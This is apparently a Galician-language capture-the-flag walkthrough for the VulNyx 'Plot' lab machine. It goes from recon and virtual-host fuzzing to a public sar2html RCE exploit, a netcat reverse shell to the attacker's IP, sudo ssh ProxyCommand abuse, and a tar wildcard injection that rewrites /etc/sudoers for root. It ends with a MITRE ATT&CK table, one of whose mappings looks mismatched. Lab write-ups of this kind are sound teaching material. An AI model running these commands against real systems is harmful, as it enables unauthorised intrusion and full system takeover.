Doc vulnyx plot
Máquina virtual Plot


A máquina Plot é moi interesante porque...
- Cabeceira HTTP personalizada (X-Custom-Header) revela dominio
- Virtual host enumeration con gobuster e wfuzz
- Subdominio sar.pl0t.nyx con sar2html v3.2.1 vulnerable
- RCE mediante exploit público de sar2html
- Abuso de ssh con sudo mediante ProxyCommand (GTFOBins)
- Uso de pspy para descubrir tarefas cron ocultas
- Wildcard injection en comando tar con --checkpoint-action
- Modificación de /etc/sudoers mediante tar checkpoint
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Plot -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Plot # 22,80
sudo nmap -sCV -p22,80 IP_VulNyx_Plot
Fase 2 — Análise
# Análise de cabeceiras HTTP
curl -I IP_VulNyx_Plot
# X-Custom-Header: pl0t.nyx
# Adición de entrada en /etc/hosts
echo "IP_VulNyx_Plot pl0t.nyx" | sudo tee -a /etc/hosts
# Análise do dominio principal
whatweb http://pl0t.nyx
firefox http://pl0t.nyx &
# Páxina por defecto de Apache
# Enumeración de subdominios con wfuzz
wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top10000.txt --hc 404 -u http://IP_VulNyx_Plot -H "Host: FUZZ.pl0t.nyx" --hl 368
# Subdominios descubertos: sar, *
# Adición de subdominio en /etc/hosts
echo "IP_VulNyx_Plot sar.pl0t.nyx" | sudo tee -a /etc/hosts
# Análise do subdominio
whatweb http://sar.pl0t.nyx
firefox http://sar.pl0t.nyx &
# sar2html v3.2.1 identificado
# Busca de exploits
searchsploit sar2html
# Exploit RCE dispoñible: php/webapps/49344.py
# Descarga do exploit
searchsploit -m php/webapps/49344.py
Fase 3 — Explotación
# Execución do exploit
python 49344.py
# Enter The url => http://sar.pl0t.nyx
# Proba de execución de comandos
# Command => pwd
# /var/www/vhost
# Command => whoami
# www-data
# Preparamos listener no atacante
nc -nlvp 4444
# Lanzamento de reverse shell mediante exploit
# Command => nc IP_Atacante 4444 -e '/bin/bash'
# ⇒ Conseguimos reverse shell como www-data
# Mellora da TTY
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash
Fase 4 — Post‑explotación
# Enumeración de usuarios do sistema
grep bash /etc/passwd
# Usuario identificado: [usuario]
# Enumeración de permisos sudo
sudo -l
# ([usuario]) NOPASSWD: /usr/bin/ssh
# Consulta en GTFOBins para ssh con sudo
# Referencia: https://gtfobins.github.io/gtfobins/ssh/#sudo
# Abuso de ssh con ProxyCommand
sudo -u [usuario] ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# ⇒ Conseguimos shell como usuario [usuario]
# Mellora da TTY
script /dev/null -c bash
cd
cat user.txt # ⇒ Flag de usuario conseguida
# Enumeración exhaustiva do sistema
sudo -l
id
crontab -l
cat /etc/crontab
ls -althr /opt /var/backups
tar tvfz /var/backups/serve.tgz
find / -type f -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
find / -group [usuario] 2>/dev/null | grep -Ev 'proc|dev|run'
find / -user [usuario] 2>/dev/null | grep -Ev 'proc|dev|run'
getcap -r / 2>/dev/null
# Subida e execución de linpeas.sh
# [Subida mediante base64]
bash linpeas.sh
# Subida e execución de pspy
# Referencia: https://github.com/DominicBreuker/pspy
# [Subida mediante base64]
./pspy64
# Análise de saída de pspy:
# 2025/10/31 11:53:01 CMD: UID=0 PID=42302 | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/serve.tgz *
# ⇒ Tarefa cron que executa tar como root cada minuto
# Verificación de permisos de /var/www/html
ls -ld /var/www/html
# drwxrwxrwx 2 root root 4096 ... /var/www/html
# ⇒ Permisos 777, podemos escribir
# Análise do comando tar:
# cd /var/www/html && tar -zcf /var/backups/serve.tgz *
# Problema: uso de wildcard (*)
# Creación de script malicioso
cd /var/www/html
cat > script.sh << 'EOF'
#!/bin/bash
echo '[usuario] ALL=(root) NOPASSWD: ALL' >> /etc/sudoers
EOF
chmod +x script.sh
# Creación de ficheiros con nomes especiais (wildcard injection)
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh script.sh"
# Esperamos a que cron execute o comando tar
# O comando tar interpretará os ficheiros como opcións:
# tar -zcf /var/backups/serve.tgz --checkpoint=1 --checkpoint-action=exec=sh script.sh *
# Verificación (despois de 1 minuto)
sudo -l
# [usuario] ALL=(root) NOPASSWD: ALL
# Escalada a root
sudo su -
# ⇒ Conseguimos shell de root
# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Plot
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Descubrimento de dominio mediante cabeceira HTTP | Information disclosure | T1592 — Gather Victim Host Information T1590.002 — Gather Victim Network Information: DNS |
CWE-200 — Information Exposure |
| Enumeración de virtual hosts con gobuster e wfuzz | Subdomain enumeration | T1590.002 — Gather Victim Network Information: DNS T1595 — Active Scanning |
CWE-200 — Information Exposure | |
| Identificación de sar2html v3.2.1 vulnerable | Vulnerability identification | T1592 — Gather Victim Host Information T1190 — Exploit Public-Facing Application |
CWE-1035 — 2017 Top 10 A9: Using Components with Known Vulnerabilities | |
| 3. Explotación | Explotación de sar2html mediante RCE | Remote Code Execution | T1190 — Exploit Public-Facing Application T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-94 — Improper Control of Generation of Code |
| 4. Post-explotación | Abuso de ssh con ProxyCommand mediante sudo | Lateral movement via SSH abuse | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1021.004 — Remote Services: SSH |
CWE-269 — Improper Privilege Management |
| Uso de pspy para descubrir tarefas cron ocultas | Process monitoring | T1053.003 — Scheduled Task/Job: Cron T1057 — Process Discovery |
CWE-200 — Information Exposure | |
| Wildcard injection en tar con --checkpoint-action | Command injection via wildcard | T1574.007 — Hijack Execution Flow: Path Interception by PATH Environment Variable T1053.003 — Scheduled Task/Job: Cron |
CWE-88 — Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'); CWE-78 — OS Command Injection | |
| Modificación de /etc/sudoers mediante tar checkpoint | Privilege escalation | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1068 — Exploitation for Privilege Escalation |
CWE-269 — Improper Privilege Management; CWE-732 — Incorrect Permission Assignment for Critical Resource |